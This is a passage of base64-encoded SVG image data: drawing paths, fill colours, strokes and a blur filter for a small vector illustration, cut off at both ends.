9yLWludGVycG9sYXRpb24tZmlsdGVycz0ic1JHQiI+CgkJCTxmZUdhdXNzaWFuQmx1ciBzdGREZXZpYXRpb249IjAuNDUwMTUzNTgiLz4KCQk8L2ZpbHRlcj4KCTwvZGVmcz4KCTxnIHRyYW5zZm9ybT0idHJhbnNsYXRlKDcwLjkzMyAtNzguMTgpIj4KCQk8cGF0aCBkPSJtLTU0LjA0IDgyLjY2NWMtMy4zNDE4LTAuNDQ1MS03LjA0MzMtMC43Nzc5OC05Ljk2NjMgMS4yNTQ2LTMuNTY3NyAxLjc0NzQtNC44Njc0IDUuOTIyNS01LjMyNjUgOS41OTU5IDAuMjMzOSAzLjI5NiAxLjc4MzMgNi44MDI0IDUuMDc2NSA4LjAzNTkgMy42NjY1IDEuMjgyMyA3LjgzNDEgMi42Njc4IDExLjY1NSAxLjI5NzMgMi4xOTk5LTEuMjQxMyA0LjU2NC0zLjAxNTMgNC42MzI5LTUuNzg0NyAwLjg1NjE1LTMuMTI4OCAwLjY2OTk1LTYuNDU5LTAuMDgxOS05LjU4MTUtMC43MTA3OS0yLjkyMTEtMy44NzU2LTMuMzA4MS01Ljk4OTYtNC44MTc0eiIgZmlsbD0iI2Q1ZTVmZiIgZmlsdGVyPSJ1cmwoI2MpIi8+CgkJPHBhdGggZD0ibS01NS44NzcgODYuMjY4YzAuMDQwOS0wLjczNTkzIDAuMjY5MDItMS40NDA5IDAuNjI2NjEtMi4wODA4IDEuODYxNC0yLjg3MTkgNS41Mjk2LTQuNTE5NCA4LjE5OTItNS44MzM1LTAuMzQwMjQgMi41NDQ1LTEuMTEzMyA1LjE2OTYtMi4xODcxIDcuMjYyMy0wLjU3NTk2IDEuMDI5Ny0xLjU1OTIgMi4xMzg4LTIuNjA5NSAyLjM5MjItMC41NjMzOSAwLjE0NDQ1LTEuMDU1MyAwLjM2MTM5LTEuMTM5MSAwLjk5MTg4LTAuMTg5OTEgMC40ODQyOC0wLjM3OTgyIDAuOTY4NTYtMC41Njk3NSAxLjQ1MjgtMS40MDc0LTAuMjYxOTQtNC42NzEyLTIuMzgzNi0zLjMzMjUtMy4xNDM2eiIgZmlsbD0iI2ZmZiIvPgoJCTxnPgoJCQk8cGF0aCBkPSJtLTUwLjAzOCA4Ny43MTctMC4xNjUzNy0wLjM0NzI3LTAuMjIzMjQtMC4xMjQwMXMwLjEwNzQ5LTAuMTMyMjkgMC4xNDg4My0wLjE0MDU3YzAuMDQxMy04ZS0zIDAuMjY0NTggMC4xNDA1NyAwLjI2NDU4IDAuMTQwNTdsMC4yMTQ5OCAwLjMwNTkxLTAuMDc0NCAwLjA5OTItMC4xMzIyOSAwLjAxNjR6IiBmaWxsPSIjODA4MDgwIi8+CgkJCTxwYXRoIGQ9Im0tNDkuOTcxIDg4LjIzMyAwLjQ2NDcyLTAuMTExMjcgMC40MTIzNy0wLjQzODU1LTAuMDY1NC0wLjU0OTgxIDAuMzAxMDktMC4yNzQ5MSAwLjQ1ODE3LTAuMDU4Mi0wLjAyNjItMC4zMjE0MS0wLjE3NjczLTAuMTUwNTUtMC4xNTcwOSAwLjE3MDE4IDAuMDQ2OSAwLjExOTU0LTAuMzE1MjEgMC4wNTA2LTAuMjUwMTEgMC4xNTY0LTAuMjQwOCAwLjI3NTYgMC4wMTMxIDAuMjU1MjgtMC4wNDU4LTAuMzE0MTggMC4zMjA3My0wLjUzMDE5IDAuNDEyMzUtMC4yMTYgMC4xMzA5LTAuMjU1MjYtMC4xMzA5LTAuMTExMjctMC4xNzY3MiAwLjA3ODYtMC4wNDU5IDAuMTM3NDUtMC4zNSAwLjEzMjk2LTAuMjEyOTEgMC4yOTkwMy0wLjIzNTYyIDAuMzY2NTYtMC4wMjYyIDAuNDI1NDUtMC4wNTg5IDAuMjQyMTgtMC4yMjgwNSAwLjE4OTQ2IDAuMDUxMyAwLjExMTYyIDAuMDUyMyAwLjI1NTI4eiIgZmlsbD0iI2IzYjNiMyIvPgoJCQk8cGF0aCBkPSJtLTUwLjY1MyA4Ny44OTJjLTAuMDIyOCAwLjA2OTYgNGUtMyAwLjE3NTY1IDAuMDQ0MSAwLjI1ODMgMC4wMzY4IDAuMDczMiAwLjA3MzYgMC4xNjc4MSAwLjE2ODE2IDAuMTczNTYgMC4wNjk5IDAuMDIwMSAwLjE0MjkyIDAuMDUyIDAuMjE0OSAwLjAyIDAuMDc3MS0wLjAyNzIgMC4xNjA0LTAuMDMzNCAwLjIzNjA5LTAuMDY0IDAuMDUxMi0wLjA1NDYgMC4wMjY2LTAuMTUwNzUgMC4wMTU1LTAuMjIwNDItMC4wMjc3LTAuMDc4NS0wLjAyOTgtMC4xODI5OS0wLjExNzMtMC4yMTkwMS0wLjA4MDYtMC4wNDg0LTAuMTU5MDEtMC4xMzMzNy0wLjI1OTI3LTAuMTI2NTYtMC4wOTI2LTNlLTMgLTAuMjA1MTYgMC4wMTczLTAuMjYxNTggMC4xMDA0LTllLTMgMC4wMTgyLTAuMDI1NCAwLjAyODUtMC4wMzAyIDAuMDQ3OXoiIGZpbGw9IiNjY2MiLz4KCQk8L2c+CgkJPHBhdGggZD0ibS01Ni4zNDcgODUuMjQyYy0zLjA3MzcgMC4wNjY1LTYuNjYxOCAwLjk4NTIzLTguMjExOCAzLjkwNjctMi42MDY4IDQuODA4Ny0wLjI2OTI3IDguODMxMyAzLjI2NjggMTAuNTIxIDEuMTU0MyAwLjgzNTI2IDMuOTIxOCAxLjA3MDMgNS4zNDI4IDAuNjkyNCA0Ljc2NDktMS42ODIxIDcuMTM1LTYuOTE5MyA0LjQ5NTgtMTEuMDgyLTAuMDM2MyAwLjA0NzEtMC40NzE4NS0wLjg1MjEtMC45MDk5OS0wLjM5MTY1LTAuMzEwNDEgMC4zMjYyMS0wLjU4OTE5IDEuOTkzOC0wLjg3NDY2IDIuMjM2LTAuMzM5MjcgMC4yODc4OC0wLjI4MTU1LTAuMjE5OTMtMC41OTQ5IDAuMTk5MzQtMC4yNTc0IDAuMzQ0NC0wLjI4NzA1IDEuNzE0Ni0wLjQ5NDkxIDEuOTUzNS0wLjYwNTQyIDAuNjk1NzMtMC41ODQxNSAwLjIzMzY2LTAuNjE0MjEtMC4yMTQ5OC0wLjI5MDY5IDAuMjg1NzQtMC4zNTM2MiAxLjAzMDktMC43MTkwNCAxLjQ3MzEtMC40NSAwLjU0NDU2LTAuMDY5OS0xLjA2NzQtMC4zNDgyLTAuNzkyOTktMC4zODAzNSAwLjM3NTA5LTEuMjk4OCAxLjg3NzUtMS42MTgyIDIuMTY1My0wLjYwMzE4IDAuNTQzNTIgMC4yMTAwOC0wLjk3NjE3LTAuMzI3NTUtMC40OTI2My0wLjAxMDggMC4wMS0wLjc3OTE4IDAuNzEwNDktMC40ODg0NyAxLjMxODggMC4xODkwOSAwLjM5NTY3IDEuMzY1OSAwLjY5ODI2IDEuNjQ0NyAwLjkzMDczIDAuNDA0NzkgMC4zMzc1OCAxLjAxNDItMC4yOTkwMSAxLjMzODEtMC4xOTA3NyAwLjUwOTQ5IDAuMTcwMjYgMC41ODQ1NS0wLjQwMzM5IDAuODc5MzUtMC40MTczNCAwLjE2NzAyLThlLTMgMC4xNjUzNi0wLjkzNjIzLTAuMjU5NTUtMS4yMTY0LTAuMjk2ODctMC4xOTU3Mi0xLjAxNTggMC4yODQxLTEuMTE0NiAwLjA5MjctMC4xOTE1My0wLjM3MTExIDAuNzc0NDctMC41OTM5NyAwLjk3NDQ2LTAuNTM5MTggMC43MzA1MyAwLjIwMDExIDAuNzU0OSAxLjA1NDIgMS4xNjYzIDEuMzQxMyAwLjQ5NjE0IDAuMzQ2Mi0wLjgyMjQ4IDEuMDA4OC0wLjY5MTY3IDEuMjU4NiAwLjMyNDA4IDAuNjE4ODgtMi4xMzM0IDAuMzkxNTctMi4xNzEyIDAuNjg3ODgtMC4wNTQ1IDAuNDI2OTgtMS44NDk3LTAuNzAxOTctMS45OTM0LTAuNTY5OTItMC4zMzIzNyAwLjMwNTQyLTEuMjA2LTAuOTQxMzktMS4zNzkzLTAuNzY3MjIgMC4wMTg5LTEuMjkyNCAwLjM0MzUyLTEuOTMyNyAwLjQyNS0yLjYyNjIgMC4wMTktMC4xNjE0Mi0wLjcwMzI3IDdlLTMgLTAuNjg2NzgtMC4xNjExMiAwLjAyNDktMC4yNTM3NiAwLjc5Njk0LTAuNjEwOTkgMC41OTUxLTAuODgzNTItMC4wNzUxLTAuMTAxMzUtMC4xNzA0Ni0wLjIwNDcxLTAuMjg5NjUtMC4zMTA2MSAwLjI3OTgyLTAuNDQ0NTMgMC45MzMxLTAuODM3MTggMC44ODE3NS0wLjk3Nzk5LTAuMDQ4Mi0wLjEzMjI2LTAuMjM2NjktMC4xNzY1NS0wLjYzNTYxLTAuNDM4NzQgMC4zNTY2My0wLjM0MTY0IDAuNjQ1MTMtMC41Mzc0NiAxLjE5MjEtMS4yMTI0LTAuMDkxOS0wLjE2NTk4LTAuMTIwMDgtMC4zMDYwNy0wLjE4OTgyLTAuNjczODUgMC4yNDkyOC0wLjcyMTMxIDAuNjU3NjktMS4yNDY5IDAuNjYxNTktMS44Mjk3LTAuMDcxMS0wLjY2MTY0IDAuMjQ1MTgtMC43NDg5MiAwLjQyNjMzLTEuMDI0IDAuMjM3ODktMC4zNjExOCAwLjgxMzU5LTAuNzI1MDMgMS4wNzYzLTEuMDMzIDAuMjQxNTQtMC4yODMyIDAuMDIxMS0wLjYyNzI4IDAuMjQ3MTctMC45MzE2eiIgZmlsbD0iIzJhN2ZmZiIvPgoJCTxwYXRoIGQ9Im0tNTAuMTEgODIuMTU3YzAuNjY4MTQtMC4zMjIwMyAxLjU5MzEtMC4zMjE3NyAxLjM5MDEgMC42ODcxMS02ZS0zIDAuNjU1MTgtMC4zNzM1OCAxLjY1NDMtMS4xNDYxIDEuNjM3NS0xLjQ1MTUtMC4yNjg3NS0xLjQwNTgtMS43MjE5LTAuMjQzOTYtMi4zMjQ2eiIgZmlsbD0iIzk5OSIvPgoJCTxwYXRoIGQ9Im0tNTcuMjY5IDg4LjExMS0wLjU4NTk4IDEuNjQwOCAwLjE3NTc5IDAuNDk4MDktMS4wMjU1IDEuMjAxMyAwLjgyMDM5LTAuMjM0NC0xLjM0NzggMi4yODU0IDAuNzMyNDktMC4zODA5LTAuNjczOSAyLjYwNzcgMi4xMzg5LTIuMjI2OC0wLjIzNDQxIDEuMjU5OSAxLjcyODctMi41MTk4LTAuMDI5MyAxLjQwNjQgMC43MzI1LTEuOTA0NSAwLjI5Mjk4IDAuODIwMzggMC40OTgxLTIuMTM4OS0xLjMxODUtMC42NzM4OS0xLjAyNTUtMC41ODZ6IiBmaWxsPSIjYzg3MTM3Ii8+CgkJPHBhdGggZD0ibS01MC40ODIgODMuNTFjNWUtMyAwLjAxMDcgMC4wNDYgMC40MjcyOSAwLjA0NiAwLjQyNzI5bC0wLjAxODkgMC4yODEyNS0wLjIxNzM5LTAuMTc0MzQtMC4yMDcxOS0wLjI5NjIyLTAuMDUxNC0wLjMyNzIyLTAuMDEzMS0wLjE4Mzk2IDAuMTA3NzItMC4xNzAzMiAwLjIyMTc2LTAuMDM3OSAwLjA0NiAwLjMzNTMzIDAuMDg2NSAwLjE1OTU3eiIgZmlsbD0iIzMzMyIvPgoJCTxwYXRoIGQ9Im0tNTMuOTA5IDgyLjU4IDEuMTYwMiAxLjAxNTIgMS41MTI0IDEuMDE1MiAxLjIwMTYgMC42NjI5NyAwLjc4NzI4IDAuMzEwNzctMC43NjY1NiAxLjI2MzgtMC41Mzg2NyAwLjQxNDM2LTEuODg1My0wLjc4NzI4LTEuMTgwOS0wLjc2NjU3LTEuMDU2Ni0wLjkzMjMtMC40OTcyMy0wLjc2NjU2IDAuNzQ1ODQtMC45MzIzMXoiIGZpbGw9IiNmZjAiIHN0cm9rZT0iIzAwMCIgc3Ryb2tlLXdpZHRoPSIuMjM0NHB4Ii8+CgkJPGcgZmlsbD0ibm9uZSIgc3Ryb2tlPSIjMDAwIiBzdHJva2Utd2lkdGg9Ii4yMzQ0cHgiPgoJCQk8cGF0aCBkPSJtLTUzLjA1OSA4My4zNjgtMS40Mjk1IDEuNTUzOCIvPgoJCQk8cGF0aCBkPSJtLTUyLjAwMyA4NC4xNTUtMS4zNjc0IDEuNjk4OSIvPgoJCQk8cGF0aCBkPSJtLTUwLjg0MyA4NC44NTktMS4zNjc0IDEuNjk4OSIvPgoJCQk8cGF0aCBkPSJtLTQ5Ljk5MyA4NS4zNTctMS4yMDE2IDEuNzE5NiIvPgoJCQk8cGF0aCBkPSJtLTU0LjU5MiA4My4zMDYgMC42MjE1NCAwLjgyODcxIDEuMjIyNCAwLjk5NDQ3IDEuMjAxNiAwLjcyNTEzIDAuOTMyMzEgMC40MzUwNyAwLjg0OTQ0IDAuMTY1NzQiLz4KCQk8L2c+CgkJPGcgc3Ryb2tlPSIjMDAwIiBzdHJva2Utd2lkdGg9Ii4yMzQ0cHgiPgoJCQk8cGF0aCBkPSJtLTUzLjkwOSA4Mi42NDMgMC44NDk0NCAwLjY4MzY4LTAuNzY2NTcgMC44NzAxNC0wLjc4NzI4LTAuODQ5NDJ6Ii8+CgkJCTxwYXRoIGQ9Im0tNTIuMDAzIDg0LjEzNCAxLjE4MDkgMC43MjUxMi0wLjc4NzI4IDAuOTUzMDQtMS4wOTgtMC42NjI5N3oiLz4KCQkJPHBhdGggZD0ibS00OS44ODkgODUuMzM2cy0wLjc4NzI4IDAuOTMyMjktMC43MDQ0MSAwLjkzMjI5YzAuMDgyOCAwIDAuODQ5NDMgMC4xNjU3NCAwLjg0OTQzIDAuMTY1NzRsMC40NzY1MS0wLjgyODd6Ii8+CgkJCTxwYXRoIGQ9Im0tNTMuODg4IDg0LjIzOCAxLjE4MDkgMC44NDk0My0wLjY4MzY5IDAuNzQ1ODUtMS4wODc3LTAuOTUzMDJ6Ii8+CgkJCTxwYXRoIGQ9Im0tNTEuNjA5IDg1LjkzNy0wLjY0MjI2IDAuNjQyMjYgMS4xMzk1IDAuMzkzNjMgMC40OTcyMy0wLjY4MzY5eiIvPgoJCTwvZz4KCQk8cGF0aCBkPSJtLTQ5LjI1NyA4MS45OTJjMC44MDkxIDAuMzU2OTUgMC4wNzIgMi4wODI2LTAuMzQ5MzYgMi4yMDk5LTAuMTQxMjggMC4xMDQwMS0wLjU1ODEzIDAuMDE1LTAuNzEwMyAwLjA0NDkgMC4wMjk5IDAuMDk2MyAwLjMzMzYgMC4xNDcxNyAwLjQzOTQgMC4xODE2OSAwLjE3OTYxIDAuMDQ1NiAwLjQ5NTc3LTAuMDQ1MiAwLjYxOTc5LTAuMTgyOTQgMC4yNDExNi0wLjIxMzI2IDAuMzk2NzctMC41MTQ2MSAwLjQzNzAyLTAuODMzNDcgMC4wNjgxLTAuMzE2NTQgMC4xNTA5OS0wLjYyOTY5IDAuMjIxMTMtMC45NDU3OC0wLjA4MDQtMC4yNDc5Ni0wLjMzMjEyLTAuNTMxNjYtMC42MTIxMS0wLjUwOTc4LTAuMDI1Ny0zLjdlLTQgLTAuMDIxMSAwLjA0MzMtMC4wNDU1IDAuMDM1NXoiIGZpbGw9IiM2MTVmNjEiIGZpbGwtb3BhY2l0eT0iLjc3Njg2Ii8+CgkJPGcgZmlsbC1vcGFjaXR5PSIuNjU3MDIiPgoJCQk8cGF0aCBkPSJtLTU1Ljg3NyA4Ni4yODljMC4zODA1OSAwLjUwMDYgMC4wMzM5IDAuMzYxMjcgMC41NTkzOCAwLjY4MzctMC44MjgyMSAwLjkxMjA2LTAuNzM1ODQgMC44OTA4OC0xLjU5NTMgMS41MzMxLTAuNTEyNDItMC40ODcyLTAuMTA0MTEtMC4xMjIzMy0wLjMzMTQ4LTAuNzY2NTZsMC4zNTIyLTAuNDc2NTF6IiBmaWxsPSIjY2NjIi8+CgkJCTxwYXRoIGQ9Im0tNTcuMTIgODguMjE2LTAuNDk3MjMgMS42NTc0IDAuMzkzNjMtMC4xNjU3NC0wLjY0MjI1IDEuMzI2IDAuNzA0NDEtMC40MzUwOS0xLjQwODggMi4zODI2IDAuODkwODctMC42NjI5OS0wLjgwOCAxLjkyNjggMi41NjktMi4zMjA0LTAuNzg3MjggMS40NzEgMS40OTE3LTIuMTU0Ny0wLjEyNDMgMS4xMTg4IDAuNjQyMjUtMS42MTYtMC4wODI4IDAuODI4NzMgMC40NzY1MS0xLjM0NjctMC45OTQ0NS0wLjM1MjIxLTAuNjgzNy0wLjQxNDM2LTAuNjAwODItMC42NDIyNXoiIGZpbGw9IiNkN2Q0MTUiLz4KCQkJPHBhdGggZD0ibS01NS44NzcgODYuMjY4IDAuNjIxNTMgMC43NjY1NyAwLjc4NzI4IDAuNDM1MDkgMC44Mjg3MyAwLjQ3NjUtMS4wNTY2LTAuMTI0My0wLjkxMTU5LTAuMDYyMi0wLjgwOC0wLjEwMzU4LTAuNzA0NCAwLjI2OTMzLTAuMDQxNS0wLjM1MjIxIDAuNDM1MDgtMC4zMzE0OCAwLjUxNzk0LTAuNjQyMjd6IiBmaWxsPSIjY2NjIi8+CgkJPC9nPgoJCTxwYXRoIGQ9Im0tNTYuNjY5IDg4Ljg2Ni0wLjI5NzY2IDAuNjExODVoMC4zMzA3M2wtMC4zOTY4NyAwLjgyNjgzIDAuNDYzMDItMC4xMTU3Ni0wLjcyNzYxIDEuNjM3MSAwLjQyOTk1LTAuMzE0MTktMC41NDU3IDEuMTc0MSAxLjUwNDgtMS40NTUyLTAuMDE2NSAwLjQ2MzAyIDAuNjExODUtMS4wNDE4IDAuMTE1NzUgMC41MTI2MyAwLjQxMzQxLTAuOTQyNTggMC4xODE5IDAuMzE0MiAwLjA5OTItMC4zOTY4OC0wLjk1OTExLTAuNTc4NzctMC43NjA2OC0wLjUyOTE3eiIgZmlsbD0iI2ZmZTY4MCIvPgoJCTxwYXRoIGQ9Im0tNTAuMDgzIDgyLjEzYzAuNjY4MTUtMC4zMjIwNCAxLjU5MzEtMC4zMjE3NyAxLjM5MDEgMC42ODcxMS02ZS0zIDAuNjU1MTgtMC4zNzM1OCAxLjY1NDMtMS4xNDYxIDEuNjM3NS0xLjQ1MTUtMC4yNjg3Ni0xLjQwNTgtMS43MjE5LTAuMjQzOTYtMi4zMjQ2eiIgZmlsbD0ibm9uZSIgc3Ryb2tlPSIjMDAwIiBzdHJva2Utd2lkdGg9Ii4wNDI1MiIvPgoJCTxnPgoJCQk8cGF0aCBkPSJtLTU0LjkwMyA5MC4wMThjMC4zOTE3OS0wLjkwODkxIDEuMDc0OS0xLjc4ODYgMS42MjE2LTIuNjIxOSAxLjAwODQtMC4zODg4OSAxLjkyMTktMC45OTQ1MyAyLjY4MTYtMS43NjA3IDAuNDc4NDMtMC40NDc2IDAuODI4MjMtMS4wMjEgMS4xNTI0LTEuNTg0OSAwLjMxMTEyLTEuMDYxNyAwLjgyMzgyLTIuMDQxNCAxLjM3NzYtMi45OTM0IDAuMzg0NDQtMC44NTIwOCAwLjQ4NTQ5LTEuODEzOSAwLjk4MTM3LTIuNjIyOSAwLjEwNDU3LTAuMTE0NjQtMC4xMjU1OCAwLjgyODkzLTAuMTc2OCAxLjEzMDUtMC4xNDM3IDAuNTI1OTEtMC4xNDkxNSAxLjE2MDEtMC4yODE3MyAxLjY5LTAuMTg3NjggMC43NTAxLTAuNTA1MzIgMS4zOTUtMC43NTE4NyAyLjEyNjMtMC40MDgzNyAxLjA4Ni0wLjgzNTMgMi4xOTE2LTEuNDk4NCAzLjE0Ni0wLjY1NzU4IDAuNzU5MjMtMS40NjIyIDEuNDM4Ni0yLjQ2ODggMS42NjA1LTAuNjIzNzcgMC4zMDgxNy0wLjc1NTI5IDEuMTI1Mi0xLjA5MzEgMS42OTE3LTAuMTM4MjYgMC4zOTQzMy0wLjIyMDc2IDAuOTM2MDgtMC42ODQwNiAwLjQ3MDM1LTAuMTQxNTctMC4wNzU5LTAuNzE4MjMtMC4yNTU1My0wLjg1OTc5LTAuMzMxNDl6IiBmaWxsLW9wYWNpdHk9Ii4zNzE5Ii8+CgkJCTxnPgoJCQkJPHBhdGggZD0ibS01MC43MjMgODIuOTE0YzAuMTcwNTMtMC4wNDY1IDAuMzY4NjgtMC4wNDU5IDAuNTgxNDYgN2UtMyAwLjA2MjUgMC4wNDc1IDAuMDc1NSAwLjE2ODEgMC4wMjE1IDAuMjQ0OC0wLjA3MDIgMC4wNTYyLTAuMTY3NDMtMC4wNzk5LTAuMjI2MjUtNGUtMyAwLjAxMDcgMC4wMzU1IDAuMTkyMjQgMC4wNjE4IDAuMDk5MSAwLjA4NTItMC4wODk1LTdlLTMgLTAuMTczNTctMC4wNjk4LTAuMjYyNDMtMC4wNTU2LTAuMTE0MzcgMC4wNzA1IDMuNzFlLTQgMC4yMDMzNC00ZS0zIDAuMzAxNDQtNWUtMyAwLjA3NzkgMC4wNDUgMC4xODIwNy00ZS0zIDAuMjQ0NzEtMC4wMjQ4LTAuMTA0MjItMC4wMS0wLjIxNzk0LTAuMDQ3NC0wLjMyMTM2LTAuMDUwNy0wLjA4NDgtM2UtMyAtMC4yMjA5MS0wLjEwNzgtMC4yNzA2My0wLjExNTM3LTAuMDU0MS0wLjI1MzQ5IDAuMDU1NC0wLjIzNTI3IDAuMTc5MiAxZS00IDAuMDY3MS0wLjAyMjMgMC4xMTM5MS0wLjAxOSAwLjAxOTUgMC4wMjAyLTAuMTI4NTkgOWUtMyAtMC4zMDkyMSAwLjEyNTI4LTAuMzg3NTQgMC4wMjY3LTAuMDE0IDAuMDU1MS0wLjAyNTYgMC4wNzk2LTAuMDQzMXoiLz4KCQkJCTxwYXRoIGQ9Im0tNTAuMzU4IDgzLjE0NyAwLjMxMDMyIDAuMDg3MyAwLjAzMzktMC4wMTE0IDAuMDI1NyAzZS0zIDAuMDI5OCAwLjA1MjEtMC4wMzA0LTAuMDM2NXM5ZS0zIDAuMDQ1NCA2ZS0zIDAuMDQyNmMtM2UtMyAtM2UtMyAtMC4wMTg5LTAuMDM3OS0wLjAxODktMC4wMzc5cy01ZS0zIDAuMDM1Mi05ZS0zIDAuMDMzMWMtNGUtMyAtMmUtMyAtMC4wMTM2LTAuMDMwNC0wLjAxMzYtMC4wMzA0cy03ZS0zIDAuMDMyNC05ZS0zIDAuMDI5OGMtMmUtMyAtM2UtMyAtMC4wMTg5LTAuMDMxMS0wLjAxODktMC4wMzExbC0wLjAxMzYtMmUtMyAtNWUtMyAwLjAxMDItMmUtMyAwLjAyMDMgNGUtMyAwLjAyNjQgMC4wMTIxLTAuMDI5MXMwLjAyMjkgMC4wNTQ4IDAuMDI4NCAwLjA1MjFjNWUtMyAtM2UtMyAzZS0zIC0wLjA0MTMgM2UtMyAtMC4wNDEzbDAuMDE0OSAwLjA0OHMwLjAxMDItMC4wNTg4IDllLTMgLTAuMDU0N2MtNi42MWUtNCA0ZS0zIDRlLTMgMC4wNjYzIDRlLTMgMC4wNjYzbDAuMDE5Ni0wLjAzMjQtMC4wMTYyIDAuMDQ5My0wLjAyOTEtMmUtMyAtMC4wNDA2LTAuMDMzOC0wLjAyNzctMC4wMzE4LThlLTMgLTAuMDMyNC0wLjA1NDEtMC4wMjE2LTAuMTEzNTgtMC4wMzkyLTAuMDk5NC0wLjAzNTJ6Ii8+CgkJCQk8cGF0aCBkPSJtLTUwLjE2IDgzLjIzNGMwLjAyNjkgMC4wMjY2IDAuMDM0OSAwLjA3MTIgMC4wMTcxIDAuMTA1MDEtMC4wMTUyIDAuMDEwNi0wLjAyNjcgMC4wNTMyIDRlLTMgMC4wNDU2IDAuMDI0OS02ZS0zIDJlLTMgLTAuMDM1NyA4ZS0zIC0wLjA1MjcgM2UtMyAtMC4wMzA3LTNlLTMgLTAuMDYxOS0zZS0zIC0wLjA5MTEtOWUtMyAtMmUtMyAtMC4wMTc5LTRlLTMgLTAuMDI1OS03ZS0zeiIvPgoJCQk8L2c+CgkJPC9nPgoJCTxwYXRoIGQ9Im0tNDcuMTEzIDc4LjQ3OC0xLjU3NDYgMS40OTE3LTEuNjE2IDEuMzg4MS0xLjA3NzMgMC45MzIzMi0xLjIwMTYgMS40NTAyLTEuMzI2IDEuNzE5Ni0wLjQ3NjUxIDEuMDM1OS0wLjI5MDA1IDAuNzY2NTYtMC41ODAxMSAwLjcyNTE0LTEuMjg0NSAxLjExODgtMC44MDc5OS0xLjIwMTYgMC4yNjkzMy0wLjQ3NjUgMS4yNDMxLTEuMTYwMiAwLjE0NTAzLTEuMjAxNiAwLjU4MDExLTEuMjYzOCAxLjM0NjctMS4zMDUyIDEuOTI2OC0xLjQ5MTcgMi4xNTQ3LTEuNDI5NSAyLjIzNzUtMS4wMTUyeiIgZmlsbD0iI2NjYyIgZmlsbC1vcGFjaXR5PSIuNTM3MTkiLz4KCQk8Zz4KCQkJPHBhdGggZD0ibS01MC44MzEgODMuMTQ1YzAuMDI5NyAwLjA4MzkgMC4wNTgxIDAuMTY5ODQgMC4wNTIzIDAuMjYwMDIgMC4wMTE1IDAuMTM2MjItOGUtMyAwLjI3MTYyLTAuMDIzNyAwLjQwNjQ3LTNlLTMgMC4wNDc2IDAuMDE0MiAwLjA4MTEgMC4wMjAxIDAuMDEyIDAuMDM4NS0wLjE0NDEgMC4wMTktMC4yOTQ0IDAuMDQzNC0wLjQ0MDU2IDAuMDUzNC0wLjA5OSAwLjE1NzcgMC4wNTA3IDAuMTEzMjUgMC4xMTcwNC0wLjAxODMgMC4xMDk1NC0wLjAyMzQgMC4yMjE1NC0wLjAxNTkgMC4zMzIyNSA0ZS0zIDAuMDQ3NyAwLjAyMDQgMC4xNDgxOCAwLjAyMzEgMC4xNjE5Mi0wLjAxMTMtMC4xMjAyNi0wLjAyMTMtMC4yNDIyNiA1ZS0zIC0wLjM2MTM0IDRlLTMgLTAuMDg2MSAwLjA1MTYtMC4xNzcwOCAzZS0zIC0wLjI1NjY4LTAuMDM2Mi0wLjA5MjQtMC4wNjczLTAuMTg2NjEtMC4xMDExMy0wLjI3OTg4LTAuMDM5OSAwLjAxNjItMC4wNzk2IDAuMDMyOC0wLjExOTQ2IDAuMDQ4N3oiLz4KCQkJPHBhdGggZD0ibS01MC44NDIgODMuNDA4IDAuMTI3MTEgMC4wMjk4IDAuMDQ4NiAwLjA3MDMgMC4wMjctMC4wNjc2IDAuMDk0Ny0wLjA2MjIgMC4wMTA4IDAuMDIxNi0wLjA5NDcgMC4wNjQ5LTAuMDQ4NiAwLjEwODE3LTAuMDU5NS0wLjExODk5LTAuMDk0Ny0wLjAyNDQtMC4wMjQ0LTAuMDI0NHoiLz4KCQkJPHBhdGggZD0ibS01MC44NDMgODMuNTAyIDAuMTI3MTEgMC4wMjk4IDAuMDQ4NiAwLjA3MDMgMC4wMjctMC4wNjc2IDAuMDk0Ny0wLjA2MjIgMC4wMTA4IDAuMDIxNi0wLjA5NDcgMC4wNjQ5LTAuMDQ4NiAwLjEwODE2LTAuMDU5NS0wLjExODk4LTAuMDk0Ny0wLjAyNDQtMC4wMjQ0LTAuMDI0NHoiLz4KCQkJPHBhdGggZD0ibS01MC44NTEgODMuNjA4IDAuMTI3MSAwLjAyOTggMC4wNDg2IDAuMDcwMyAwLjAyNy0wLjA2NzYgMC4wOTQ3LTAuMDYyMiAwLjAxMDggMC4wMjE2LTAuMDk0NyAwLjA2NDktMC4wNDg2IDAuMTA4MTctMC4wNTk1LTAuMTE4OTktMC4wOTQ3LTAuMDI0NC0wLjAyNDQtMC4wMjQ0eiIvPgoJCQk8cGF0aCBkPSJtLTUwLjU0NCA4My4xOTdjLTAuMDE1MyAwLjA0NjctMC4wNTk5IDAuMTEzODUtNGUtMyAwLjE1MDcyIDAuMDYzMiAwLjA0MDEgMC4xMzU2NSAwLjA3MyAwLjE3NTE5IDAuMTQwNTQgMC4wMzc2IDAuMDUwMSAwLjA5MTcgMC4xMTM3NiAwLjA1NzIgMC4xNzk2LTAuMDMxNCAwLjA2NTUtMC4wMjQ2IDAuMTUwNzggMC4wMjU3IDAuMjA1MjMgMC4wMTkgMC4wNjA2IDAuMDcxMSAwLjExNzI1IDAuMTM5NjEgMC4xMDgyNyAwLjAzNDggOWUtNCAwLjEyNDY1IDAuMDU5NSAwLjA4NiAwLjA4MzItMC4wNDExLTAuMDI0OS0wLjA3NTMtMC4wNzU5LTAuMTMwNDItMC4wNjMyIDAuMDE3NiAwLjA0MjkgMC4wODcgMC4wNzAzIDAuMTIwMjUgMC4xMTE3NyAwLjA0MSAwLjAxNzQgMC4wMTMzIDAuMTM0OTItOWUtMyAwLjA2MjQtMC4wMS0wLjA1ODItMC4wNjc0LTAuMDgyLTAuMTA2MTItMC4xMTc1OC0wLjAyMzgtMC4wMjE1LTAuMDYxNC0wLjA0NDMtMC4wMjA3LTVlLTMgMC4wMzIzIDAuMDMwMyAwLjA5MzMgMC4xMTA0MiAwLjA2MTEgMC4xMzc2MS0wLjAyOS0wLjAzNjEtMC4wNy0wLjExMjkyLTAuMDkzNC0wLjEyNDQyIDAuMDI4MiAwLjA0OTUgMC4wNDQzIDAuMTExNDMgMC4wMTc0IDAuMTY1MTUtMC4wMTc5LTAuMDUxLTAuMDIwMS0wLjEzNDk2LTAuMDUtMC4xOTM3NS0wLjAzMjYtMC4wOTE0LTAuMDc0MS0wLjE4MDItMC4xMDQwNy0wLjI3MjA1LTAuMDE2Ni0wLjA2NjUgMC4wNTc2LTAuMTMxNDUgMC4wMjAyLTAuMTkxNjUtMC4wNTE0LTAuMDQ3MS0wLjEzNjQ1LTAuMDUwMi0wLjE3Mzg1LTAuMTEzODMtOWUtMyAtMC4wNzItMC4wNjE2LTAuMTUyMjMtMC4wNDYxLTAuMjE4MjYgMC4wMTE0LTAuMDE0OSAwLjAyMjktMC4wMjk